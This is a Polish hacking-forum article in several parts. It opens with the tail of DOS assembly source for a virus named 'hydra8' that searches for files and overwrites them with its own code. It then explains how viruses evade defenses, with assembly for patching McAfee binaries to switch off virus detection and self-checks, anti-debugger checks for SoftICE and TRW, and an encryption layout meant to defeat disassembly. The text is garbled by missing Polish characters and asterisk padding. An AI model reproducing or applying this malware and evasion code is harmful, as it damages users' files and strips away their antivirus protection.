    ****************push****es
    
    ****************pop**** ds
    
    ****************mov**** ax,3F00h
    
    ****************mov**** cx,0FFFFh
    
    ****************mov**** dx,data_17e
    
    ****************int**** 21h
    
    
    
    
    
    ****************add**** ax,1EFh
    
    ****************mov**** cs:data_8,ax
    
    ****************cmp**** word ptr ds:data_18e,4459h
    
    ****************jne**** loc_5
    
    ****************mov**** ah,3Eh
    
    ****************int**** 21h
    
    
    
    ****************push****cs
    
    ****************pop**** ds
    
    ****************mov**** ah,4Fh
    
    ****************int**** 21h
    
    
    
    ****************jc******loc_8
    
    ****************jmp**** short loc_4
    
    loc_5:
    
    ****************xor**** cx,cx
    
    ****************mov**** dx,cx
    
    ****************mov**** ax,4200h
    
    ****************int**** 21h
    
    
    
    
    
    ****************jc******loc_6
    
    ****************mov**** ah,40h
    
    ****************xor**** dx,dx
    
    ****************mov**** cx,cs:data_8
    
    ****************int**** 21h
    
    
    
    
    
    loc_6:
    
    ****************mov**** ah,3Eh
    
    ****************int**** 21h
    
    
    
    ****************push****cs
    
    ****************pop**** ds
    
    loc_7:
    
    ****************mov**** ah,1Ah
    
    ****************mov**** dx,psp_cmd_size
    
    ****************int**** 21h
    
    
    
    ****************jmp**** short loc_11
    
    ****************db******90h
    
    loc_8:
    
    ****************clc
    
    ****************xor**** cx,cx
    
    ****************push****ds
    
    ****************push****dx
    
    ****************mov**** ah,1Ah
    
    ****************mov**** dx,offset data_9
    
    ****************int**** 21h
    
    
    
    ****************mov**** dx,offset data_13
    
    ****************mov**** ah,4Eh
    
    ****************xor**** cx,cx
    
    ****************int**** 21h
    
    
    
    ****************jc******loc_7
    
    loc_9:
    
    ****************mov**** ah,3Ch
    
    ****************xor**** cx,cx
    
    ****************mov**** dx,offset data_11
    
    ****************int**** 21h
    
    
    
    ****************mov**** bx,ax
    
    ****************jc******loc_7
    
    ****************mov**** ax,3D02h
    
    ****************mov**** dx,offset data_11
    
    ****************int**** 21h
    
    
    
    ****************mov**** bx,ax
    
    ****************clc
    
    ****************xor**** dx,dx
    
    ****************mov**** ah,40h
    
    ****************mov**** dx,offset data_14
    
    ****************mov**** cx,5Ah
    
    ****************int**** 21h
    
    
    
    
    
    ****************cmp**** ax,5Ah
    
    ****************jb******loc_10
    
    ****************mov**** ah,3Eh
    
    ****************int**** 21h
    
    
    
    ****************jc******loc_10
    
    ****************mov**** ah,4Fh
    
    ****************int**** 21h
    
    
    
    ****************jnc**** loc_9
    
    loc_10:
    
    ****************mov**** ax,4C00h
    
    ****************int**** 21h
    
    
    
    loc_11:
    
    ****************xor**** di,di
    
    ****************mov**** si,offset data_15
    
    ****************mov**** cx,22h
    
    ****************rep**** movsb
    
    ****************pop**** bx
    
    ****************mov**** cs:data_6,0
    
    ****************mov**** word ptr cs:data_6+2,es
    
    ****************pop**** bx
    
    ****************jmp**** dword ptr cs:data_6
    
    data_15******** db******1Eh
    
    ****************db****** 07h,0B9h,0FFh,0FFh,0BEh,0EFh
    
    ****************db****** 02h,0BFh, 00h, 01h, 2Bh,0CEh
    
    ****************db******0F3h,0A4h, 2Eh,0C7h, 06h, 00h
    
    ****************db****** 01h, 00h, 01h, 2Eh, 8Ch, 1Eh
    
    ****************db****** 02h, 01h, 8Bh,0C3h, 2Eh,0FFh
    
    ****************db****** 2Eh, 00h, 01h,0CDh
    
    ****************db******20h
    
    
    
    hydra8**********endp
    
    
    
    seg_a********** ends
    
    
    
    
    
    
    
    ****************end**** start
    ----------
    // Niektre informacje, byy czerpanie z :
    http://www.wikipedia.pl/

    ----------
    Mona si spodziewa czci trzeciej artykuu, jak na razie, nie miaem ju o czym napisa.
    ----------
    Jakby kto chcia zacz si uczy Assemblera, to polecam ksik :
    - Assembler Sztuka Programowania PL
    Link :
    - http://rapidshare.com/files/46492064/Asemb...owania.rar.html
    ----------
    Mam nadziej, e ta cz artykuu si komu przydaa
    ----------
    UWAGA! Trzecia cz artykuu jest poniej
    // jak obiecaem to i jest 3 cz tego artykuu
    ----------
    W ostatnich dwch czciach artykuu, przypomnielimy sobie, co to s szkodliwe aplikacje (keylogger, trojan, wirus, itd.). Dowiedzielimy si rwnie, jak si przed nimi broni oraz jak dziaaj. W tej czci artykuu, dokadniej dowiemy si, jakie zabezpieczenia uywaj wirusy, by si broni przed antywirusami.
    ----------
    Zabezpieczenia wirusw
    ----------
    Jednym z waniejszych, jak nie najwaniejszych, czci wirusa jest jego poziom zabezpiecze przed antywirusami, debuggerami, disassemblerami. Dochodz rwnie, do tego, zabezpieczenia przed generacj wyjtku w systemie operacyjnym, ktry moe zosta spowodowany, przykadowo, dostpem do chronionej, przez system, pamici.
    Wirus dziaajcy na systemach operacyjnych windows 98, 95, ME wykorzystujcy nieudokumentowane funkcje systemu operacyjnego oraz jego dziury w celu przej na poziom ring0 nie bdzie poprawnie dziaa na systemach operacyjnych Windows NT, 2000 oraz XP. Wynika z tego, i wirus jest zobligowany do detekcji systemu operacyjnego.
    Lecz, wirus moe to zrobi, za pomoc funkcji systemowej GetVersionEx.
    Jeli kto chce, to przykad wykorzystania funkcji GetVersionEx :

    Kod:
    OSVerInfo OSVERSIONINFO <>
    
    mov OSVerInfo.dwOSVersionInfoSize,sizeof OSVerInfo
    
    invoke GetVersionEx,offset OSVerInfo
    
    cmp OSVerInfo.dwPlatformId,VER_PLATFORM_WIN32_NT
    
    jz @windowsNT
    
    cmp OSVerInfo.dwPlatformId,VER_PLATFORM_WIN32_WINDOWS
    
    jz @windows9x
    Jednake wykonanie jej przez kod wirusa z zaraonego pliku jest procesem skomplikowanym, gdy wymaga wpisu w tablicy importw pliku PE (Portable Executable), by loader(na polski jzyk "wczytywacz") procesu zwrci punkt wejcia do niej.
    Dlatego, mona zastosowa rwnie inne rozwizanie. A mianowicie mona uy mechanizmu SEH (Structured Exception Handling).
    Koncepcja jest taka, e aplikacja instaluje jedn lub wicej procedur callback nazwanych „exception handler-ami” nastpnie w przypadku, gdy wystpi wyjtek, system, wywoujc exception handlera, pozwala aplikacji obsuy owy wyjtek.

    Istniej dwa typy "exception handler-w" :

    - „final” exception handler - instaluje si go poprzez wywoanie funkcji
    SetUnhandledExceptionFilter.
    - „per-thread” exception handler - ten typ obsugi wyjtku stosowany jest do nadzorowania
    wybranych obszarw kodu.

    Dla kadego wtku w systemie rejestr FS ma inn warto. Warto w rejestrze FS jest 16-bitowym selektorem, ktry wskazuje na blok informacji wtku (Thread Information Block), struktura ta zawiera wane informacje o kadym wtku w systemie.
    ----------
    Dobra, na razie tyle nudnego czytania. To przykad mechanizmu SEH, przy uyciu per-thread exception handler'a :

    Kod:
    push offset obsluga_wyjatku;Pierwszy DWORD
    
    push fs:[0];Drugi DWORD
    
    77
    
    mov fs:[0],esp;Zainstaluj obsug ERR
    
    [...];Kod wirusa
    
    pop fs:[0];Przywr poprzedni stan
    
    add esp,4h
    
    ret
    
    obsluga_wyjatku:
    
    [...];Wykrycie wyjtku
    
    mov eax,0
    
    ret
    W przypadku, gdy kod wirusa spowoduje wyjtek, system operacyjny wywoa procedur obsluga_wyjatku. Dziki temu wirus bdzie wiedzia i na biecym systemie operacyjnym nie bdzie on dziaa poprawnie oraz bdzie mg zakoczy swoje dziaanie.
    ----------
    Ochrona przed antywirusami
    ----------
    Ochrona przeciw programom antywirusowym jest kluczow spraw w wirusach, gdy od tego zaley ich byt w systemie operacyjnym. Jak si przed nimi chroni ? – sposobem moe by wyczenie procedur sprawdzania plikw bezporednio w kodzie antywirusa. Dziki temu, nawet jeli antywirus radziby sobie z wirusem, nie bdzie w stanie zareagowa w przypadku rozprzestrzeniania si wirusa w systemie. T metod zaprezentowa nam pewien czowiek, o nicku "Z0MB1E". Dziaa ona na zasadzie takiej, i przeszukuje dysk twardy w poszukiwaniu plikw wykonywalnych antywirusw, nastpnie otwiera je i zmienia ich kod (patc***e) na stae. Dziki temu antywirus po ponownym odpaleniu si, z uwagi na wyczone procedury sprawdzajce, nie bdzie sprawia wicej ju problemw. Z0MB1E zaprezentowa t metod na przykadzie AVP oraz MACAFE – wiodcych programach antywirusowych.

    Przykady :

    Kod:
    ; MACAFE -- disable virus-detection
    
    ; mcscan32.dll
    
    ; B801000000 mov eax, 1 --> B8 00 ... mov eax, 0
    
    ; EB02 jmp xxxxxxxx
    
    ; 31C0 xor eax, eax
    
    ; [8987C002]0000 mov [edi+0000002C0], eax
    
    __patch5: cmp dword ptr [esi-4], 0C03102EBh
    
    jne __continue
    
    cmp dword ptr [esi-8], 1
    
    jne __continue
    
    mov byte ptr [esi-8], 0
    
    inc ebx
    
    jmp __continue
    Kod:
    ; MACAFE -- disable self-check
    
    ; mcutil32.dll
    
    ; 83 C4 10 add esp, 10h
    
    ; 3B 45 F3 cmp eax, [ebp+csum]
    
    ; 74 07 je xxxxxxxx
    
    ;[C7 45 FC 01]00 00 00 mov [ebp+res], 1
    
    __patch6: cmp dword ptr [esi-4], 0774F345h
    
    jne __continue
    
    cmp dword ptr [esi-8], 3B10C483h
    
    jne __continue
    
    cmp dword ptr [esi+3], 1
    
    jne __continue
    
    mov byte ptr [esi+3], 0
    
    inc ebx
    
    jmp __continue
    Po wykonaniu tych procedur zmiany s uaktualniane w plikach wykonywalnych. I przy nastpnym uruchomieniu systemu operacyjnego antywirusy stan si nieaktywne.
    ----------
    Antydebugging
    ----------
    A tak naprawd przeciw ludziom uywajcych debuggerw w celu analizy i reversingu kodu wirusa. Jest to nastpna z metod ochrony wirusa przeciw antywirusami, gdy, dopki nie jest moliwa analiza kodu wirusa, nie zostanie dla niego napisany antywirus. Ochrona ta, jak wszystkie, jest do przejcia i dziaa na takiej zasadzie, e w przypadku, gdy wirus wykryje debuggera w pamici operacyjnej, uruchamia procedury niszczce system operacyjny. Dziki temu uniemoliwia analiz jego kodu. Debugger jest zobligowany do przejcia przerwa 1 i 3. Przerwania, te s wywoywane przez procesor w sytuacji, w ktrej wystpi wyjtek debug lub te breakpoint. W szczeglnoci :

    - przerwanie nr. 1 - wywoywane przez procesor, gdy wystpi wyjtek typu debug
    - przerwanie nr. 3 – breakpoint (puapka)

    Procedury obsugi tych przerwa debugger instaluje w tablicy IDT (Interrupt Descriptor Table). Jedn z metod wykrycia debuggera, jest badanie rnicy pomidzy punktami wej do procedur obsugi przerwa 1 oraz 3, ktra w czystym systemie, bez debuggera, wynosi 10h.

    Przykad :

    Kod:
    push eax
    
    sidt [esp-2]
    
    pop eax
    
    add eax,8; EAX = adres wektora int 1h
    
    mov ebx, [eax]; BX = modsze 16 bitw adresu
    
    add eax, 16; EAX = adres wektora int 3h
    
    mov eax, [eax]; AX = modsze 16 bitw adresu
    
    sub al, bl; Oblicz rnic adresw
    
    sub al,10h
    
    jnz debugger_aktywny
    Oraz nastpn procedur wykrywajc debuggera jest : ring0

    Kod:
    push 0000004fh; funkcja 4fh
    
    int 20h
    
    dd 002a002ah**; VWIN32_Int41Dispatch
    
    cmp ax, 0f386h; znacznik instalacji
    
    jz debugger_aktywny
    Jest to wywoanie funkcji 4Fh przerwania 41h – sprawdzenie instalacji debuggera w systemie. W momencie startu systemu, Windows 9x wywouje funkcj tego przerwania sprawdzajc czy ma si uruchomi w trybie debuggingu czy te nie. Gdy Windows 9x uruchomi si w trybie debuggingu, wywouje to przerwanie w celach informacyjnych dla potrzeb debuggera. Przekazuje mu to jakie moduy s adowane do pamici oraz jakie s deinstalowane. Jednym z debuggerw systemowych Windows-a 9x jest SoftICE.

    Przykad wykrywania debuggera SoftICE :

    Kod:
    ring0:
    
    push 41h; numer przerwania
    
    pop eax
    
    db 0CDh,20h; Get_PM_Int_Vector
    
    dw 0044h,0001h; zwraca adres procedury obsugujcej przerwanie
    
    cmp edx,8; jeli offset = 8 to znaczy ze
    
    je SoftICE_aktywny
    
    jest_sice db 0
    Kod:
    80
    
    ring0:
    
    db 0CDh,20h; Get_Cur_VM_Handle
    
    dw 0001h,0001h
    
    mov edx, 400h
    
    call_sice:
    
    db 0CDh,20h; Disable_Local_Trapping
    
    dw 009Ah,0001h
    
    mov esi,dword ptr [call_sice+2]
    
    ; offset DWORDa wskazujcego na adres
    
    ; Disable_Local_Trapping
    
    mov esi,[esi]; adres Disable_Local_Trapping
    
    cmp word ptr [esi],015FFh; czy pierwsze bajty procki to do widzenia
    
    ; instruckji call dword[..]?
    
    jne niee_sice; jeli nie pomi
    
    cmp word ptr [esi+6],05751h
    
    jne niee_sice
    
    inc jest_sicE
    
    niee_sice:
    Nastpnym z debuggerw pozwalajcych na ledzenie kodu ring-0 jest TRW. Rwnie dziki niemu mona zanalizowa kod wirusa, z tego te wzgldu zamieszczam, i na jego wykrycie, procedur anty :

    Kod:
    jest_trw db 0
    
    ring0:
    
    db 0CDh,20h; Get_Cur_VM_Handle
    
    dw 0001h,0001h
    
    push ebx
    
    mov eax,000Eh; VM_RESUME
    
    call_trw:
    
    db 0CDh,20h; System_Control
    
    dw 0093h,0001h; po wykonaniu VxDCall-a bajty 0CDh,20h
    
    ; i numer usugi zamieniaj si na
    
    ; tzw. direct call-a czyli
    
    ; call dword ptr[vadres]
    
    ; (0FFh,15h,DWORD vadres)
    
    mov esi,dword ptr [call_trw+2]
    
    mov esi,[esi]; vadres System_Control
    
    cmp byte ptr [esi],0E8h; sprawd pierwsze bajty procki czy
    
    ; to opcode
    
    jne niee_trw; relatywnego call'a(0E8h,DWORD)
    
    cmp word ptr [esi+5],025FFh; bajty absolutnego JMP'a
    
    ; (FF,25h,DWORD vadres)
    
    jne niee_trw
    
    inc jest_trw
    
    niee_trw:
    ----------
    Antidisassembling
    ----------
    Po infekcji wirusa w pliku wykonywalnym punkt wejcia do programu zmieniany jest na pocztek kodu wirusa, by po uruchomieniu programu przez uytkownika jego kod zosta uruchomiony. Z tego te wzgldu kod wirusa jest „na widoku” i moe zosta prosto wykryty. Jednake wykrycie wirusa w systemie nie stanowi o jego deaktywacji. Potrzebna jest, ku temu, analiza kodu wirusa i napisanie dla niego antywirusa. By uchroni si przed analiz stosuje si ochron przeciw disassemblerom, programom, ktre zamieniaj kod maszynowy na assemblera, zrozumiaego dla czowieka. W tym celu stosuje si algorytmy, kryptujce kod wirusa (pisaem o tym w drugiej czci artykuu).

    Dziki ich uyciu wirus w pliku zainfekowanym ma struktur nastpujc :

    Kod:
    Punkt_startu_programu:
    
    Algorytm dekryptujcy
    
    Jmp dalej
    
    dalej:
    
    Waciwy kod wirusa (zakryptowany)
    
    Jmp programu_zainfekowanego
    I nawet jeli zainfekowany plik potraktujemy disassemblerem, tak naprawde, zobaczymy tylko algorytm dekryptujcy, natomiast by przeanalizowa waciwy kod wirusa bdziemy musieli odkryptowa go rcznie lub te bdziemy zobligowani do uycia debuggera.
    Dla celw algorytmu kryptujcego stosuje si procedury pseudolosowe, aby zakryptowany kod wirusa by dla kadego archiwum inny.

    Przykad :

    Kod:
    random:; procedura modyfikuje rejestry ECX i EDX
    
    cmp eax,0; oraz warto losow zwraca w EAX
    
    je random_escape
    
    xchg eax,ecx
    
    rdtsc
    
    xor edx,edx
    
    div ecx
    
    xchg eax,edx
    
    add eax,1
    
    random_escape:
    
    ret
    Procedura ta korzysta z instrukcji RDTSC, ktra zwraca licznik cykli wykonanych przez procesor od momentu startu komputera (EDX:EAX), oraz z wartoci rejestrw EAX na wejciu do tej procedury.
    ----------
    Na pewno, jak dostane w najbliszym czasie weny, to napisz i kolejn cz artykuu..
    ----------
    // nie wszystkie rzeczy byy tu pisane przezemnie, niektre z google.pl i wikipedia.pl
    ----------
    Mam nadziej, e i ta cz artykuu si komu przydaa

Podobne wtki

  1. Odpowiedzi: 4
    Ostatni post / autor: 06-02-2013, 14:42
  2. Cracking - Jak zacz? - Cz II
    Przez 0wn3r
    w forum Kursy/Artykuy
    Odpowiedzi: 2
    Ostatni post / autor: 30-01-2008, 19:52
  3. Cracking - Jak zacz? - Cz I
    Przez 0wn3r
    w forum Kursy/Artykuy
    Odpowiedzi: 0
    Ostatni post / autor: 17-01-2008, 15:49
  4. Znam cz hasa...
    Przez proximo
    w forum Narzdzia sieciowe
    Odpowiedzi: 8
    Ostatni post / autor: 16-07-2007, 20:13
  5. Zoliwe oprogramowanie XXI wieku
    Przez fl3a
    w forum Windows Expert
    Odpowiedzi: 2
    Ostatni post / autor: 29-08-2006, 20:01

Uprawnienia

  • Nie moesz zakada nowych tematw
  • Nie moesz pisa wiadomoci
  • Nie moesz dodawa zacznikw
  • Nie moesz edytowa swoich postw
  •